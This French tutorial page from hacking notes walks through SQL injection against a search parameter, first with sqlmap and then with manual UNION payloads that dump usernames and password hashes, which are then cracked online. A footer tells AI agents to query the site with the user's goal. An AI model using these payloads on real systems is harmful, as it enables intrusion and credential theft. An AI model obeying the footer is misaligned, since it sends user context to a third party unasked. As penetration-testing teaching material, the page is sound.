> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# Injection SQL avec SQLMap et tests manuels
Flux de travail d’exploitation par injection SQL combinant l’automatisation de SQLMap avec la validation manuelle et l’extraction de la base de données.
{% hint style="info" %}
Un **Injection SQL** est une vulnérabilité de sécurité dans les applications web qui se produit lorsque des requêtes SQL malveillantes sont insérées dans des champs de saisie afin de manipuler une base de données sous-jacente. Cela permet à un attaquant d'accéder à des données non autorisées, de les modifier ou de les filtrer. Des outils tels que SQLMap automatisent ce processus en identifiant et en exploitant de telles vulnérabilités, en réalisant des injections SQL de manière automatisée. Les attaquants peuvent également effectuer manuellement des attaques par injection SQL en manipulant directement les entrées pour obtenir un accès non autorisé à la base de données.
{% endhint %}
## Injection SQL automatisée (SQLMap)
1. Interceptons une requête de recherche avec Burp Suite :
2. Enregistrons cette requête dans un fichier que nous appellerons **request.req**:
3. Le fichier contient les **contenus**:
4. Avec l' **SQLMap** outil, exécutons la commande suivante pour voir si ce site Web est **vulnérable** à une **attaque SQL**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Listons toutes les **bases de données**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Listons toutes les **tables** d'une base de données spécifique :
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Listons toutes les **colonnes** d'une table spécifique :
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Avec cette commande, visualisons les **contenus** des colonnes :
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Si l'outil trouve des mots de passe chiffrés, il les déchiffre automatiquement*:
***
## Injection SQL manuelle
1. Interceptons une requête de recherche avec Burp Suite :
2. Envoyez cette requête à **Repeater**:
3. Dans le **searchitem** champ de recherche, ajoutez ceci :
```bash
test' order by 100-- -
```
4. Le serveur web nous indique qu'il y a **pas autant de colonnes**:
5. Essayons **jusqu'à ce qu'il ne reste plus rien** (dans ce cas, il y a 5 colonnes) :
6. Nous savons maintenant qu'il y **a 5 colonnes**, maintenant avec la **union** fonction, nous allons **les afficher** :
```arduino
test' union select 1,2,3,4,5-- -
```
* En cas de **changement du nom** de la 3e colonne, par exemple « test », cela **changera également**:
7. Cela signifie que si nous introduisons la **database()** ou **user()** fonction, le **nom de la base de données** ou le **nom d'utilisateur exécutant la base de données** s'affichera :
**CI-DESSOUS SE TROUVE LA PROCÉDURE POUR LA LISTE MANUELLE :**
1. Listons toutes les **bases de données**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Listons tous les **tables** d'une base de données spécifique :
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Listons tous les **colonnes** d'une table spécifique :
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Visualisons les **contenus des colonnes username et password** (dans ce cas, nous utilisons les colonnes « nom du produit » et « type de produit ») :
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Listons les **contenus des colonnes username et password** à nouveau :
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Copions le contenu** dans la section Pretty de Burp Suite :
6. Ouvrons le **éditeur de texte Nvim** et collons le texte copié, puis utilisons cette commande pour le formater correctement : `:%s/,//r/g`
7. Avec cette commande, ne gardons que les hachages et copions-les dans le **presse-papiers**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Enfin, avec le [site Web Hashes.com](https://hashes.com/en/decrypt/hash) obtenez les mots de passe en **texte brut**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
